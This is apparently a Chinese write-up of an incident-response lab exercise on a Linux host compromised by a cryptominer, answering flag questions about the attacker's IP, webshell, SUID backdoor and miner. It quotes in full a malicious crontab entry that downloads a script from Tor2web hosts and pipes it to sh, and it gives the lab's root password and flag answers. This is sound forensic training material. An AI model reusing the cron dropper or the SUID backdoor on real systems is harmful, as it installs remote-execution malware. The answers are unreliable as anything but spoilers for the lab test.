【应急响应】玄机-linux实战-挖矿

玄机应急响应靶场练习

前情概要

应急响应工程师在内网服务器发现有台主机 cpu 占用过高,猜测可能是中了挖矿病毒,请溯源分析,提交对应的报告给应急小组

虚拟机账号密码 root websecyjxy

web 端口为 8081

题目

1、黑客的IP是? flag格式:flag{黑客的ip地址},如:flag{127.0.0.1}

192.168.10.135

2、黑客攻陷网站的具体时间是? flag格式:flag{年-月-日 时:分:秒},如:flag{2023-12-24 22:23:24}

2023-12-22 19:08:34

3、黑客上传webshell的名称及密码是? flag格式:flag{黑客上传的webshell名称-webshell密码},如:flag{webshell.php-pass}

404.php-cmd

4、黑客提权后设置的后门文件名称是? flag格式:flag{后门文件绝对路径加上名称},如:flag{/etc/passwd}

/usr/bin/find

5、对黑客上传的挖矿病毒进行分析,获取隐藏的Flag

flag{websec_True@888!}

分析

通过查看端口占用,发现部署了小皮面板

通过xp命令查看登录账号密码

image

进入面板后台,可以简单了解下网站部署情况

image

下载访问日志,进行简单的分析

image

分析发现仅有一个ip在攻击:192.168.10.135

image

访问网站,熟悉下网站的架构

是dedecms,这个cms存在很多历史漏洞,先看下后台是不是有弱口令

image

image

管理员弱口令,同时发现存在hacker账户

该账户的登录ip为攻击者ip,登录时间可以被看作是攻陷网站的时间

image

接着在主机上查看history信息,发现设置find为suid权限,可以猜测是黑客设置的后门文件

/usr/bin/find

image

接着需要找到挖矿病毒,通常这类程序都会设置计划任务

查看/var/spool/cron/目录无结果

[root@ip-10-0-10-3 ~]# cd /var/spool/cron/
[root@ip-10-0-10-3 cron]# ls
[root@ip-10-0-10-3 cron]# ls -al
total 0
drwx------. 2 root root  6 Aug  9  2019 .
drwxr-xr-x. 8 root root 87 Dec 22 10:58 ..
[root@ip-10-0-10-3 cron]# crontab -l
no crontab for root

查看/etc/crontab发现恶意程序

[root@ip-10-0-10-3 cron]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed


*/7 * * * * root R=$(shuf -i 1-29 -n 1);
sleep ${R:-0};
BP=$(dirname "$(command -v yes)");
BP=${BP:-"/usr/bin"};G1="curl";
if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];then 
  G1="echo";for f in ${BP}/*;
  do 
    strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && G1="$f" && break;
  done;
fi;
G2="wget";
if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];then 
  G2="echo";
  for f in ${BP}/*;
  do 
    strings $f 2>/dev/null|grep -q "to <[email protected]>" && G2="$f" && break;
  done;
fi;
if [ $(cat /etc/hosts|grep -i "onion.\|timesync.su\|tor2web"|wc -l) -ne 0 ];then 
  echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;
fi; 
C=" -fsSLk --connect-timeout 26 --max-time 75 ";
W=" --quiet --tries=1 --no-check-certificate --connect-timeout=26 --timeout=75 ";
H="https://an7kmd2wp4xo7hpr";
T1=".tor2web.su/";
T2=".d2web.org/";
T3=".onion.sh/";
P="src/ldm";
($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh &

简单分析一下:

  • 每隔7分钟执行一次任务。
  • 生成一个随机数 $R​,然后睡眠 $R​ 秒,这个随机数的范围是1到29。
  • 确定 yes​ 或 curl​ 命令的路径。
  • 如果系统中没有安装 curl​,则尝试找到与 curl​ 相关的命令或脚本。
  • 确定 wget​ 命令的路径。
  • 如果系统中没有安装 wget​,则尝试找到与 wget​ 相关的命令或脚本。
  • 检查 /etc/hosts​ 文件,如果存在与Tor网络相关的条目,则将 127.0.0.1 localhost​ 写入 /etc/hosts​ 文件。
  • 设置变量 $C​、$W​、$H​、$T1​、$T2​、$T3​、$P​。
  • 从指定的URL下载文件 src/ldm​,支持三种不同的域名后缀(.tor2web.su​、.d2web.org​、.onion.sh​),优先使用 curl​,如果没有则使用 wget​。
  • 下载完成后,通过管道将其传递给 sh​ 命令进行执行。

总的来说,这个定时任务是一段具有下载和执行功能的脚本,它从指定的URL下载文件,并在本地执行该文件

接着寻找下载的文件:ldm

[root@ip-10-0-10-3 cron]# find / -name "ldm" -type f
/etc/.cache/ldm

文件比较大,基本是一些功能函数

注意到一段python代码

image

解一下base64,得到flag

image